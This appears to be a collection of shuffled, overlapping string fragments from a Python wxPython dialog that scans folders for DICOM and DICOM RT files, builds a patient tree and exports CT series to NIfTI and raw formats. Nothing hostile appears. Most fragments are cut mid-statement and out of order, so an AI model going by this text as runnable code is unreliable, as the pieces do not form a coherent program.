"warnings from logging import getLogger, DEBUG, INFO logger = getLogger('DcmConverter') import wx warnings.filterwarnings(\"ignore\",",
"rtss files to the filearray if they exist if 'structures' in patient: for",
"0, 1]], dtype=np.float) return m def ExportFunc(self, out_basepath, patient_data, progressFunc=None): if patient_data is",
"progressFunc, foundFunc, resultFunc): \"\"\"Thread to start the directory search.\"\"\" # Call the progress",
"(('ImageOrientationPatient' in dp.ds) and \\ not (dp.GetSOPClassUID() == 'rtdose')): if not 'images' in",
"self.export_mori_format = conf['export_mori_format'] XRCCTRL(self, 'check_mori').SetValue(self.export_mori_format) self.export_nii_format = conf['export_nii_format'] XRCCTRL(self, 'check_nifti').SetValue(self.export_nii_format) self.output_dir = conf['output_dir']",
"patients[h]['doses'] = {} dose = {} dose['id'] = dp.GetSOPInstanceUID() dose['filename'] = files[n] dose['referenceframe']",
"2018-2020 <NAME> # Copyright (c) 2009-2017 <NAME> # Copyright (c) 2009 <NAME> #",
"the result ret = dlgDicomImporter.ShowModal() # Save configure conf = {} with open('.dcmconverter.conf',",
"id=XRCID('check_volume')) self.Bind(wx.EVT_SPINCTRL, self.OnSpinSliceNum, id=XRCID('spin_minslices')) self.Bind(wx.EVT_SPINCTRL, self.OnSpinOffset, id=XRCID('spin_offset')) self.Bind(wx.EVT_CHECKBOX, self.OnCheckMoriFormat, id=XRCID('check_mori')) self.Bind(wx.EVT_CHECKBOX, self.OnCheckNiftiFormat, id=XRCID('check_nifti'))",
"8) dose['treeid'] = self.tcPatients.AppendItem(badplan, name, 5) self.tcPatients.SetItemTextColour(badplan, wx.RED) filearray = [dose['filename']] self.EnableItemSelection(patient, dose,",
"= 'RT Dose without DVH' else: if dose['hasdvh']: name = 'RT Dose without",
"dose if not value: self.txtRxDose.SetValue(1) def ExportPatientData(self, path, filearray, RxDose, terminate, progressFunc, exportFunc):",
"os.path.isdir(self.output_dir): logger.info(\"Output dir not exists! Create new dir [%s]\", self.output_dir) os.makedirs(self.output_dir) all_export_threads =",
"Copyright (c) 2009-2017 <NAME> # Copyright (c) 2009 <NAME> # This file is",
"info = self.tcPatients.GetItemData(export) filearray, series_no = info['filearray'], info['info']['series_number'] basename = os.path.join(self.output_dir, self.output_name+'-'+str(series_no)+'.512') all_export_threads.append(threading.Thread(target=self.ExportPatientData,",
"\"\"\"Get the directory selected by the user.\"\"\" self.terminate = True dlg = wx.DirDialog(",
"to the study if not foundseries: structure['treeid'] = self.tcPatients.AppendItem(study['treeid'], name, 4) filearray =",
"XRCCTRL(self, 'spin_offset').SetValue(self.offset) self.export_mori_format = conf['export_mori_format'] XRCCTRL(self, 'check_mori').SetValue(self.export_mori_format) self.export_nii_format = conf['export_nii_format'] XRCCTRL(self, 'check_nifti').SetValue(self.export_nii_format) self.output_dir",
"iList.Add( wx.Bitmap( util.GetResourcePath('user.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('book.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('table_multiple.png'), wx.BITMAP_TYPE_PNG)) iList.Add(",
"in item: if (item['referenceframe'] == image['referenceframe']): if not 'numimages' in item: appendImage =",
"are done with the import process if (message == 'Importing patient complete.'): self.EndModal(wx.ID_OK)",
"seinfo if not 'images' in patients[h]: patients[h]['images'] = {} image = {} image['id']",
"['RTSTRUCT']): patient['rtss'] = dp.ds elif (dp.ds.Modality in ['RTPLAN']): patient['rtplan'] = dp.ds elif (dp.ds.Modality",
"item to be selected in the tree control.\"\"\" # Add the respective images",
"file self.txtRxDose.SetValue(rxdose) if (self.tcPatients.GetItemText(item).startswith('RT Plan') or self.tcPatients.GetItemText(parent).startswith('RT Plan')): self.EnableRxDose(True) def EnableRxDose(self, value): \"\"\"Show",
"#self.btnSelect.Enable() rxdose = 0 parent = self.tcPatients.GetItemParent(item) if 'rxdose' in data: rxdose =",
"select(child, flag) else: select(child, minslice_check(child)) child, cookie = self.tcPatients.GetNextChild(child, cookie) logger.info('%d files selected!',",
"Dose Grid (DVH only)' else: name = 'RT Dose without Dose Grid or",
"= False # used for image series if 'id' in item: if (item['id']",
"RT structure set if 'series' in item: if (item['series'] == image['series']): appendImage =",
"if len(b['description']): name += \" - \" + b['description'] name += \")\" if",
"has changed.\"\"\" item = evt.GetItem() # Disable the rx dose message and select",
"seriesid, series in patient['series'].items(): if 'studies' in patient: for studyid, study in patient['studies'].items():",
"DICOM data...', '')) #Added by CL.Wang self.Check_Export_Files() def Check_Export_Files(self): def select(child, flag): if",
"'RT Dose with DVH' else: name = 'RT Dose without DVH' else: if",
"No RT Plan nor RT Dose files were found else: name = 'RT",
"dose message.\"\"\" self.bmpRxDose.Show(value) self.lblRxDose.Show(value) self.txtRxDose.Show(value) self.lblRxDoseUnits.Show(value) # if set to hide, reset the",
"else: name = 'RT Dose without DVH' else: if dose['hasdvh']: name = 'RT",
"(item['id'] == image['series']): appendImage = True # used for RT structure set if",
"f.write('{} {}\\r'.format(field,study_date)) elif 'SeriesDate' in field: f.write('{} {}\\r'.format(field,serise_date)) elif 'AcquisitionDate' in field: f.write('{}",
"'rtdose')): if not 'images' in patient: patient['images'] = [] patient['images'].append(dp.ds) elif (dp.ds.Modality in",
"#self.btnSelect.Enable(False) # Disable Rx dose controls except on GTK due to control placement",
"self.__GetNiftiAffineMatrix__(dp) conv_kernel, hospital, kvp, model_name = dp.ds.ConvolutionKernel, dp.ds.InstitutionName, dp.ds.KVP, dp.ds.ManufacturerModelName img_ori, pat_ori, pat_pos",
"dialog if dlgDicomImporter: if hasattr(dlgDicomImporter, 't'): dlgDicomImporter.t.join() dlgDicomImporter.Destroy() os.sys.exit(0) return 1 class DicomImporterDialog(wx.Dialog):",
"dialog that will Import DICOM and DICOM RT files.\"\"\" def OnInit(self): wx.GetApp().SetAppName(\"DicomConverter\") #",
"if os.path.isfile('.dcmconverter.conf'): logger.info('Loading previous configuration...') with open('.dcmconverter.conf', 'r') as f: conf = json.load(f)",
"if os.path.isfile(nii_fname): self.ChoiceDialog('File existed! Continue?') if self.contiune_export != wx.ID_OK: return dp = dicomparser.DicomParser(patient_data['images'][0])",
"Structure Set not found\", 7) foundseries = True # If no series were",
"patient['plans'].items(): foundplan = False if (planid == dose['rtplan']): foundplan = True rxdose =",
"sortednums = sorted(unsortednums, reverse=True) # Otherwise sort image numbers in ascending order else:",
"7) foundseries = True # If no series were found, add the rtss",
"id=XRCID('tcPatients')) #added by CL.Wang self.Bind(wx.EVT_CHECKBOX, self.OnCheckVolFlag, id=XRCID('check_volume')) self.Bind(wx.EVT_SPINCTRL, self.OnSpinSliceNum, id=XRCID('spin_minslices')) self.Bind(wx.EVT_SPINCTRL, self.OnSpinOffset, id=XRCID('spin_offset'))",
"7) plan['treeid'] = self.tcPatients.AppendItem(badstructure, name, 5) self.tcPatients.SetItemTextColour(badstructure, wx.RED) filearray = [plan['filename']] self.EnableItemSelection(patient, plan,",
"Dose without Dose Grid or DVH' if (dose['summationtype'] == \"BEAM\"): name += \"",
"#self.Bind(wx.EVT_TREE_ITEM_ACTIVATED, self.OnOK, id=XRCID('tcPatients')) #added by CL.Wang self.Bind(wx.EVT_CHECKBOX, self.OnCheckVolFlag, id=XRCID('check_volume')) self.Bind(wx.EVT_SPINCTRL, self.OnSpinSliceNum, id=XRCID('spin_minslices')) self.Bind(wx.EVT_SPINCTRL,",
"in ['RTSTRUCT']: if not 'structures' in patients[h]: patients[h]['structures'] = {} structure = dp.GetStructureInfo()",
"the selected item has changed.\"\"\" item = evt.GetItem() # Disable the rx dose",
"True # Set the threading termination status to false intially self.terminate = False",
"child, cookie = self.tcPatients.GetFirstChild(first_study) while child.IsOk(): if self.only_export_voldata: title = self.tcPatients.GetItemText(child) flag =",
"message.\"\"\" self.bmpRxDose.Show(value) self.lblRxDose.Show(value) self.txtRxDose.Show(value) self.lblRxDoseUnits.Show(value) # if set to hide, reset the rx",
"in patients: patients[h] = {} patients[h]['demographics'] = patient if not 'studies' in patients[h]:",
"name, 8) self.tcPatients.SetItemTextColour(badplan, wx.RED) name = 'RT Dose not found' baddose = self.tcPatients.AppendItem(badplan,",
"gui resources self.res = XmlResource(util.GetResourcePath('dicomgui.xrc')) dlgDicomImporter = self.res.LoadDialog(None, \"DicomImporterDialog\") dlgDicomImporter.Init(self.res) # Show the",
"modality + ', ' #numimages = str(series['numimages']) + ' image)' if (series['numimages'] ==",
"Start the directory search as soon as the panel loads #self.OnDirectorySearch() def OnRescan(self,",
"dp.ds.ManufacturerModelName img_ori, pat_ori, pat_pos = np.array(dp.ds.ImageOrientationPatient), dp.ds.PatientOrientation, dp.ds.PatientPosition study_date, serise_date, acq_date = dp.ds.StudyDate,",
"False name = 'RT Structure Set: ' + structure['label'] for seriesid, series in",
"\"RT Structure Set not found\", 7) plan['treeid'] = self.tcPatients.AppendItem(badstructure, name, 5) self.tcPatients.SetItemTextColour(badstructure, wx.RED)",
"series were found, add the rtss to the study if not foundseries: badstructure",
"(dose['summationtype'] == \"BEAM\"): name += \" (Beam \" + str(dose['beam']) + \": \"",
"in plan: if (structureid == plan['rtss']): filearray.append(structure['filename']) # Add the respective rtplan files",
"series were found, add the rtss to the study if not foundseries: structure['treeid']",
"parameters befor the tree generated.') def OnCheckMoriFormat(self, evt): self.export_mori_format = evt.IsChecked() def OnCheckNiftiFormat(self,",
"user.\"\"\" self.terminate = True dlg = wx.DirDialog( self, defaultPath = self.path, message=\"Choose a",
"it is a currently unsupported file else: logger.info(\"%s is a %s file and",
"rxdose = None if dose['hasgrid']: if dose['hasdvh']: name = 'RT Dose with DVH'",
"with DVH' else: name = 'RT Dose without DVH' else: if dose['hasdvh']: name",
"image completed') def OnConvert(self, evt): if not self.selected_exports: self.AlertDialog('No Dicom series have been",
"sort descriptor to a list to be sorted for i, image in enumerate(images):",
"XRCCTRL(self, 'check_mori').IsChecked() self.export_nii_format = XRCCTRL(self, 'check_nifti').IsChecked() self.output_dir = '' self.output_name = '' #",
"f.write('{} {:.6f}\\r'.format(field,np.max(pos))) elif 'Hospital' in field: f.write('{} {}\\r'.format(field,hospital)) elif 'KVP' in field: f.write('{}",
"'NiftiFormat') if not os.path.isdir(out_dir): os.makedirs(out_dir) nii_fname = os.path.join(out_dir, os.path.basename(out_basepath)+'.nii.gz') if os.path.isfile(nii_fname): self.ChoiceDialog('File existed!",
"= 'Series: ' + series['description'] + ' (' + modality + ', '",
"'PatientPosition' in field: f.write('{} {}\\r'.format(field,pat_pos)) elif 'PatientOrientation' in field: f.write('{} {}\\r'.format(field,pat_ori)) elif 'ImageOrientation'",
"or RT dose file self.txtRxDose.SetValue(rxdose) if (self.tcPatients.GetItemText(item).startswith('RT Plan') or self.tcPatients.GetItemText(parent).startswith('RT Plan')): self.EnableRxDose(True) def",
"del self.t self.t=threading.Thread(target=self.DirectorySearchThread, args=(self, self.path, self.import_search_subfolders, self.SetThreadStatus, self.OnUpdateProgress, self.AddPatientTree, self.AddPatientDataTree)) self.t.start() def SetThreadStatus(self):",
"+ \" cGy\" rxdose = int(b['dose']) dose['treeid'] = self.tcPatients.AppendItem(plan['treeid'], name, 6) filearray =",
"sortednums = sorted(unsortednums, reverse=False) # Add the images to the array based on",
"name, 4) filearray = [structure['filename']] self.EnableItemSelection(patient, structure, filearray) # Search for RT Plans",
"sort by Instance Number if not (images[0].InstanceNumber == \\ images[1].InstanceNumber): sort = 'InstanceNumber'",
"= {} dose['id'] = dp.GetSOPInstanceUID() dose['filename'] = files[n] dose['referenceframe'] = dp.GetFrameOfReferenceUID() dose['hasdvh'] =",
"\"\"\"Thread to start the directory search.\"\"\" # Call the progress function to update",
"wx.CallAfter(progressFunc, 0, 0, 'Search terminated.') return if (os.path.isfile(files[n])): try: logger.debug(\"Reading: %s\", files[n]) dp",
"= True if appendImage: filearray.append(image['filename']) # Add the respective rtss files to the",
"= files[n] structure['series'] = dp.GetReferencedSeries() structure['referenceframe'] = dp.GetFrameOfReferenceUID() patients[h]['structures'][structure['id']] = structure # Create",
"os.path.isfile('.dcmconverter.conf'): logger.info('Loading previous configuration...') with open('.dcmconverter.conf', 'r') as f: conf = json.load(f) self.path",
"to update the gui wx.CallAfter(progressFunc, n, len(files), 'Searching for patients...') if (len(patients) ==",
"self.EnableItemSelection(patient, series, []) # Search for RT Structure Sets if 'structures' in patient:",
"= self.tcPatients.GetItemData(parent) if not (parentdata == None): if 'rxdose' in parentdata: rxdose =",
"# Add the sort descriptor to a list to be sorted for i,",
"set to hide, reset the rx dose if not value: self.txtRxDose.SetValue(1) def ExportPatientData(self,",
"via a wxPython GUI dialog.\"\"\" # Copyright (c) 2018-2020 <NAME> # Copyright (c)",
"Structure Set not found\", 7) self.tcPatients.SetItemTextColour(badstructure, wx.RED) badplan = self.tcPatients.AppendItem( badstructure, \"RT Plan",
"filearray) # No RT Dose files were found else: if 'structures' in patient:",
"patient['doses'].items(): foundplan = False if 'plans' in patient: for planid, plan in patient['plans'].items():",
"studyid, study in patient['studies'].items(): name = 'Study: ' + study['description'] study['treeid'] = self.tcPatients.AppendItem(patient['treeid'],",
"name = 'RT Dose with DVH' else: name = 'RT Dose without DVH'",
"foundseries = False if (seriesid == structure['series']): structure['treeid'] = self.tcPatients.AppendItem(series['treeid'], name, 4) foundseries",
"Dose without Dose Grid (DVH only)' else: name = 'RT Dose without Dose",
"sorted for i, image in enumerate(images): if (sort == 'IPP'): unsortednums.append(image.ImagePositionPatient[2]) else: unsortednums.append(image.data_element(sort).value)",
"add the plan to the study/series instead if not foundstructure: # If there",
"dtype=np.float) return m def ExportFunc(self, out_basepath, patient_data, progressFunc=None): if patient_data is None: return",
"elif 'Hospital' in field: f.write('{} {}\\r'.format(field,hospital)) elif 'KVP' in field: f.write('{} {}\\r'.format(field,kvp)) elif",
"0], [0, 0, 0, 1]], dtype=np.float) return m def ExportFunc(self, out_basepath, patient_data, progressFunc=None):",
"evt.GetItem() # Disable the rx dose message and select button by default self.EnableRxDose(False)",
"patient: for planid, plan in patient['plans'].items(): if 'rtplan' in item: if (planid ==",
"dose file self.txtRxDose.SetValue(rxdose) if (self.tcPatients.GetItemText(item).startswith('RT Plan') or self.tcPatients.GetItemText(parent).startswith('RT Plan')): self.EnableRxDose(True) def EnableRxDose(self, value):",
"to hide, reset the rx dose if not value: self.txtRxDose.SetValue(1) def ExportPatientData(self, path,",
"flag = 'vol' in title.lower() and minslice_check(child) select(child, flag) else: select(child, minslice_check(child)) child,",
"OnSpinOffset(self, evt): self.offset = evt.GetPosition() def OnCheckVolFlag(self, evt): self.only_export_voldata = evt.IsChecked() try: self.Check_Export_Files()",
"= wx.ImageList(iSize[0], iSize[1]) iList.Add( wx.Bitmap( util.GetResourcePath('group.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('user.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap(",
"not 'structures' in patients[h]: patients[h]['structures'] = {} structure = dp.GetStructureInfo() structure['id'] = dp.GetSOPInstanceUID()",
"m def ExportFunc(self, out_basepath, patient_data, progressFunc=None): if patient_data is None: return # Existence",
"{} # Check if the path is valid if os.path.isdir(path): files = []",
"to be sorted for i, image in enumerate(images): if (sort == 'IPP'): unsortednums.append(image.ImagePositionPatient[2])",
"conf['output_name'] XRCCTRL(self, 'text_output_name').SetValue(self.output_name) else: self.path = os.path.expanduser('~') self.only_export_voldata = XRCCTRL(self, 'check_volume').IsChecked() self.min_slice_num =",
"close the dialog.\"\"\" self.terminate = True super().OnCancel(evt) def main(): app = DcmConverterApp(0) app.MainLoop()",
"self.lblRxDose.SetFont(font) # Initialize the patients tree control self.root = self.InitTree() # Initialize the",
"evt): self.min_slice_num = evt.GetPosition() try: self.Check_Export_Files() except: logger.info('Adjusted parameters befor the tree generated.')",
"= [] for root, dirs, filenames in os.walk(path): files += map(lambda f:os.path.join(root, f),",
"pass logger.info(\"%s is not a valid DICOM file.\", files[n]) else: patient = dp.GetDemographics()",
"'AcquisitionDate' in field: f.write('{} {}\\r'.format(field,acq_date)) elif 'Orientation' in field: f.write('{} {}\\r'.format(field,'LPF')) elif ''",
"valid DICOM file.\", files[n]) else: patient = dp.GetDemographics() h = hashlib.sha1(patient['id'].encode('utf-8')).hexdigest() if not",
"Structure Set elif dp.ds.Modality in ['RTSTRUCT']: if not 'structures' in patients[h]: patients[h]['structures'] =",
"dose['id'] = dp.GetSOPInstanceUID() dose['filename'] = files[n] dose['referenceframe'] = dp.GetFrameOfReferenceUID() dose['hasdvh'] = dp.HasDVHs() dose['hasgrid']",
"does not exist. Please select a valid location.\", \"Invalid DICOM Import Location\", wx.OK|wx.ICON_ERROR)",
"an image series, add a fake rtss to it foundseries = False for",
"mori_fname) header_name = write_mori(image_array, reso, mori_fname, True) with open(header_name, 'r') as f: origin_header_lines",
"to search subfolders for DICOM data.\"\"\" self.import_search_subfolders = evt.IsChecked() self.terminate = True self.OnDirectorySearch()",
"= name + numimages series['treeid'] = self.tcPatients.AppendItem(study['treeid'], name, 3) self.EnableItemSelection(patient, series, []) #",
"enumerate(patient_data['images']): dp = dicomparser.DicomParser(img) intercept, slope = dp.GetRescaleInterceptSlope() pos.append(dp.ds.ImagePositionPatient[2]) pixel_array = dp.ds.pixel_array rescaled_image",
"f.write('{} {}\\r'.format(field,'LPF')) elif '' == field: pass else: f.write('{} \\r'.format(field)) wx.CallAfter(progressFunc, 97, 100,",
"False): break for n in range(len(files)): # terminate the thread if the value",
"= dp.ds.KVP seinfo['PatientPosition'] = dp.ds.PatientPosition seinfo['ModelName'] = dp.ds.ManufacturerModelName seinfo['PixelSpacing'] = dp.ds.PixelSpacing seinfo['Orientation'] =",
"file that convert DICOM data via a wxPython GUI dialog.\"\"\" # Copyright (c)",
"controls except on GTK due to control placement oddities if not guiutil.IsGtk(): self.EnableRxDose(False)",
"reverse=False) # Add the images to the array based on the sorted order",
"the value has changed # during the loop duration if terminate(): wx.CallAfter(progressFunc, 0,",
"+ structure['label'] for seriesid, series in patient['series'].items(): foundseries = False if (seriesid ==",
"# Initialize the patients tree control self.root = self.InitTree() # Initialize the patients",
"structure['treeid'], \"RT Plan not found\", 8) dose['treeid'] = self.tcPatients.AppendItem(badplan, name, 6) self.tcPatients.SetItemTextColour(badplan, wx.RED)",
"f.write('{} {}\\r'.format(field,model_name)) elif 'PatientPosition' in field: f.write('{} {}\\r'.format(field,pat_pos)) elif 'PatientOrientation' in field: f.write('{}",
"KeyError): pass logger.info(\"%s is not a valid DICOM file.\", files[n]) else: patient =",
"not found\", 8) dose['treeid'] = self.tcPatients.AppendItem(badplan, name, 6) self.tcPatients.SetItemTextColour(badplan, wx.RED) filearray = [dose['filename']]",
"self.EndModal(wx.ID_CANCEL) def InitTree(self): \"\"\"Initialize the tree control for use.\"\"\" iSize = (16,16) iList",
"'doses' in patient: for doseid, dose in patient['doses'].items(): foundplan = False if 'plans'",
"if dose['hasgrid']: if dose['hasdvh']: name = 'RT Dose with DVH' else: name =",
"self.Bind(wx.EVT_CHECKBOX, self.OnCheckSearchSubfolders, id=XRCID('checkSearchSubfolders')) self.Bind(wx.EVT_TREE_SEL_CHANGED, self.OnSelectTreeItem, id=XRCID('tcPatients')) #self.Bind(wx.EVT_TREE_ITEM_ACTIVATED, self.OnOK, id=XRCID('tcPatients')) #added by CL.Wang self.Bind(wx.EVT_CHECKBOX,",
"'rtdose')): seinfo = dp.GetSeriesInfo() try: seinfo['series_number'] = dp.ds.SeriesNumber #added by CL.Wang seinfo['KVP'] =",
"select(child, minslice_check(child)) child, cookie = self.tcPatients.GetNextChild(child, cookie) logger.info('%d files selected!', len(self.selected_exports)) def EnableItemSelection(self,",
"Add the respective rtplan files to the filearray if they exist if 'plans'",
"3) def minslice_check(child): info = self.tcPatients.GetItemData(child)['info'] return int(info['numimages'])>self.min_slice_num self.selected_exports = [] first_patient =",
"a previous search thread exists, block until it is done before # starting",
"wx.MessageDialog(self, msg, 'Error', style=wx.OK) dialog.ShowModal() dialog.Destroy() def ChoiceDialog(self, msg): dialog = wx.MessageDialog(self, msg,",
"# No RT Dose files were found else: if 'structures' in patient: for",
"args=(self.path, filearray, self.txtRxDose.GetValue(), self.SetThreadStatus, self.OnUpdateProgress, functools.partial(self.ExportFunc, out_basepath=basename)))) [th.start() for th in all_export_threads] #[th.join()",
"try: seinfo['series_number'] = dp.ds.SeriesNumber #added by CL.Wang seinfo['KVP'] = dp.ds.KVP seinfo['PatientPosition'] = dp.ds.PatientPosition",
"image)' if (series['numimages'] == 1) else str(series['numimages']) + ' images)' #name = name",
"search.\"\"\" # Call the progress function to update the gui wx.CallAfter(progressFunc, 0, 0,",
"float(orientation[3])*dj, 0, 0], [float(orientation[1])*di, float(orientation[4])*dj, 0, 0], [float(orientation[2])*di, float(orientation[5])*dj, dk, 0], [0, 0,",
"= dp.ds.ConvolutionKernel, dp.ds.InstitutionName, dp.ds.KVP, dp.ds.ManufacturerModelName img_ori, pat_ori, pat_pos = np.array(dp.ds.ImageOrientationPatient), dp.ds.PatientOrientation, dp.ds.PatientPosition study_date,",
"item: if (structureid == item['rtss']): filearray.append(structure['filename']) break elif (structure['referenceframe'] == item['referenceframe']): filearray.append(structure['filename']) break",
"ImagePositionPatient, as some series # use the same patient position for every slice",
"# Search subfolders by default self.import_search_subfolders = True # Set the threading termination",
"dlgDicomImporter.min_slice_num conf['offset'] = dlgDicomImporter.offset conf['export_mori_format'] = dlgDicomImporter.export_mori_format conf['export_nii_format'] = dlgDicomImporter.export_nii_format conf['output_dir'] = dlgDicomImporter.output_dir",
"import guiutil, util class DcmConverterApp(wx.App): \"\"\"Prepare to show the dialog that will Import",
"is done before # starting a new thread if (hasattr(self, 't')): self.t.join() del",
"(hasattr(self, 't')): self.t.join() del self.t self.t=threading.Thread(target=self.DirectorySearchThread, args=(self, self.path, self.import_search_subfolders, self.SetThreadStatus, self.OnUpdateProgress, self.AddPatientTree, self.AddPatientDataTree))",
"self.lblProgress.SetLabel( str(self.lblProgress.GetLabel()).replace(' Reading DICOM data...', '')) #Added by CL.Wang self.Check_Export_Files() def Check_Export_Files(self): def",
"open('.dcmconverter.conf', 'r') as f: conf = json.load(f) self.path = conf['path'] self.txtDicomImport.SetValue(self.path) self.only_export_voldata =",
"dp.GetRescaleInterceptSlope() pos.append(dp.ds.ImagePositionPatient[2]) pixel_array = dp.ds.pixel_array rescaled_image = pixel_array * slope + intercept +",
"Disable Rx dose controls except on GTK due to control placement oddities if",
"{}\\r'.format(field,hospital)) elif 'KVP' in field: f.write('{} {}\\r'.format(field,kvp)) elif 'KernelFunction' in field: f.write('{} {}\\r'.format(field,conv_kernel))",
"100, msgs[2]) if exportFunc: exportFunc(patient_data=patient, progressFunc=progressFunc) wx.CallAfter(progressFunc, 99, 100, '') def GetPatient(self): \"\"\"Return",
"(structure['referenceframe'] == item['referenceframe']): filearray.append(structure['filename']) break # If no referenced rtss, but ref'd rtplan,",
"wx.CallAfter(progressFunc, 98, 100, 'Export Nifti image completed') def OnConvert(self, evt): if not self.selected_exports:",
"self.export_mori_format: out_dir = os.path.join(os.path.dirname(out_basepath), 'LabFormat') if not os.path.isdir(out_dir): os.makedirs(out_dir) mori_fname = os.path.join(out_dir, os.path.basename(out_basepath))",
"If a previous search thread exists, block until it is done before #",
"# Create each Series of images if (('ImageOrientationPatient' in dp.ds) and \\ not",
"exists, block until it is done before # starting a new thread if",
"\"PixelData\" in dp.ds dose['summationtype'] = dp.ds.DoseSummationType dose['beam'] = dp.GetReferencedBeamNumber() dose['rtss'] = dp.GetReferencedStructureSet() dose['rtplan']",
"some vendors use incorrect StudyInstanceUIDs if not (dp.GetSOPClassUID() == 'rtdose'): stinfo = dp.GetStudyInfo()",
"child, cookie = self.tcPatients.GetNextChild(child, cookie) logger.info('%d files selected!', len(self.selected_exports)) def EnableItemSelection(self, patient, item,",
"image # Create each RT Structure Set elif dp.ds.Modality in ['RTSTRUCT']: if not",
"the images based on a sort descriptor: # (ImagePositionPatient, InstanceNumber or AcquisitionNumber) if",
"the patient dictionary logger.debug('Slices num: %d', len(sortedimages)) patient['images'] = sortedimages wx.CallAfter(progressFunc, 49, 100,",
"image to %s', nii_fname) nib.save(nib.Nifti1Image(image_array, affine=affine), nii_fname) wx.CallAfter(progressFunc, 98, 100, 'Export Nifti image",
"thread if (hasattr(self, 't')): self.t.join() del self.t self.t=threading.Thread(target=self.DirectorySearchThread, args=(self, self.path, self.import_search_subfolders, self.SetThreadStatus, self.OnUpdateProgress,",
"patient...'] wx.CallAfter(progressFunc, -1, 100, msgs[0]) for n in range(0, len(filearray)): if terminate(): wx.CallAfter(progressFunc,",
"self.OnCheckNiftiFormat, id=XRCID('check_nifti')) self.Bind(wx.EVT_DIRPICKER_CHANGED, self.OnPickOutdir, id=XRCID('picker_output')) self.Bind(wx.EVT_TEXT, self.OnInputName, id=XRCID('text_output_name')) self.Bind(wx.EVT_BUTTON, self.OnConvert, id=XRCID('btn_convert')) self.Bind(wx.EVT_BUTTON, self.OnPause,",
"wx.BITMAP_TYPE_PNG)) self.tcPatients.AssignImageList(iList) root = self.tcPatients.AddRoot('Patients', image=0) return root def AddPatientTree(self, patient): \"\"\"Add a",
"'btn_pause') self.checkSearchSubfolders = XRCCTRL(self, 'checkSearchSubfolders') self.lblProgressLabel = XRCCTRL(self, 'lblProgressLabel') self.lblProgress = XRCCTRL(self, 'lblProgress')",
"100): self.gaugeProgress.Show(True) self.lblProgressPercent.Show(True) self.lblProgressPercentSym.Show(True) else: self.gaugeProgress.Show(False) self.lblProgressPercent.Show(False) self.lblProgressPercentSym.Show(False) # End the dialog since",
"= np.array(item.ImagePositionPatient) ipp1 = np.array(images[i-1].ImagePositionPatient) if not (np.any(np.array(np.round(ipp0 - ipp1), dtype=np.int32))): parallel =",
"in enumerate(images): if (sort == 'IPP'): if (slice == image.ImagePositionPatient[2]): sortedimages.append(image) elif (slice",
"{}. ({}, {} {})'.format(series['series_number'], series['description'], modality, series['numimages'], 'image' if series['numimages']==1 else 'images') #name",
"dose['beam'] in plan['beams']: b = plan['beams'][dose['beam']] name += b['name'] if len(b['description']): name +=",
"if terminate(): wx.CallAfter(progressFunc, 98, 100, msgs[1]) return dcmfile = str(os.path.join(self.path, filearray[n])) dp =",
"already exist if not h in self.patients: self.patients[h] = {} self.patients[h]['demographics'] = patient",
"not found\", 7) plan['treeid'] = self.tcPatients.AppendItem(badstructure, name, 5) self.tcPatients.SetItemTextColour(badstructure, wx.RED) filearray = [plan['filename']]",
"to %s', nii_fname) nib.save(nib.Nifti1Image(image_array, affine=affine), nii_fname) wx.CallAfter(progressFunc, 98, 100, 'Export Nifti image completed')",
"plan, filearray, plan['rxdose']) # Search for RT Doses if 'doses' in patient: for",
"elif 'SeriesDate' in field: f.write('{} {}\\r'.format(field,serise_date)) elif 'AcquisitionDate' in field: f.write('{} {}\\r'.format(field,acq_date)) elif",
"loop duration if terminate(): wx.CallAfter(progressFunc, 0, 0, 'Search terminated.') return if (os.path.isfile(files[n])): try:",
"0 parent = self.tcPatients.GetItemParent(item) if 'rxdose' in data: rxdose = data['rxdose'] else: parentdata",
"the directory search.\"\"\" # Call the progress function to update the gui wx.CallAfter(progressFunc,",
"dp.GetReferencedStructureSet() patients[h]['plans'][plan['id']] = plan # Create each RT Dose elif dp.ds.Modality in ['RTDOSE']:",
"= wx.MessageDialog( parent, \"The DICOM import location does not exist. Please select a",
"{}\\r'.format(field,serise_date)) elif 'AcquisitionDate' in field: f.write('{} {}\\r'.format(field,acq_date)) elif 'Orientation' in field: f.write('{} {}\\r'.format(field,'LPF'))",
"dp.ds.ConvolutionKernel, dp.ds.InstitutionName, dp.ds.KVP, dp.ds.ManufacturerModelName img_ori, pat_ori, pat_pos = np.array(dp.ds.ImageOrientationPatient), dp.ds.PatientOrientation, dp.ds.PatientPosition study_date, serise_date,",
"valid output file name!') return if not os.path.isdir(self.output_dir): logger.info(\"Output dir not exists! Create",
"wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('chart_bar.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('chart_curve.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('pencil_error.png'), wx.BITMAP_TYPE_PNG))",
"item: if 'plans' in patient: for planid, plan in patient['plans'].items(): if (planid ==",
"If no structures were found, add the plan to the study/series instead if",
"evt): self.output_dir = evt.GetPath() def OnInputName(self, evt): self.output_name = evt.GetString() def AlertDialog(self, msg):",
"[] for export in self.selected_exports: info = self.tcPatients.GetItemData(export) filearray, series_no = info['filearray'], info['info']['series_number']",
"data...', '')) #Added by CL.Wang self.Check_Export_Files() def Check_Export_Files(self): def select(child, flag): if flag:",
"error message else: wx.CallAfter(progressFunc, 0, 0, 'Select a valid location.') dlg = wx.MessageDialog(",
"= os.path.join(out_dir, os.path.basename(out_basepath)) if os.path.isfile(mori_fname+'.raw.gz'): self.ChoiceDialog('File existed! Continue?') if self.contiune_export != wx.ID_OK: return",
"not foundseries: structure['treeid'] = self.tcPatients.AppendItem(study['treeid'], name, 4) filearray = [structure['filename']] self.EnableItemSelection(patient, structure, filearray)",
"dp.ds.Columns, len(patient_data['images'])]).astype(np.int32) elif dp.ds.BitsAllocated == 8: image_array = np.zeros([dp.ds.Rows, dp.ds.Columns, len(patient_data['images'])]).astype(np.int8) else: image_array",
"return self.terminate def DirectorySearchThread(self, parent, path, subfolders, terminate, progressFunc, foundFunc, resultFunc): \"\"\"Thread to",
"def OnCheckNiftiFormat(self, evt): self.export_nii_format = evt.IsChecked() def OnPickOutdir(self, evt): self.output_dir = evt.GetPath() def",
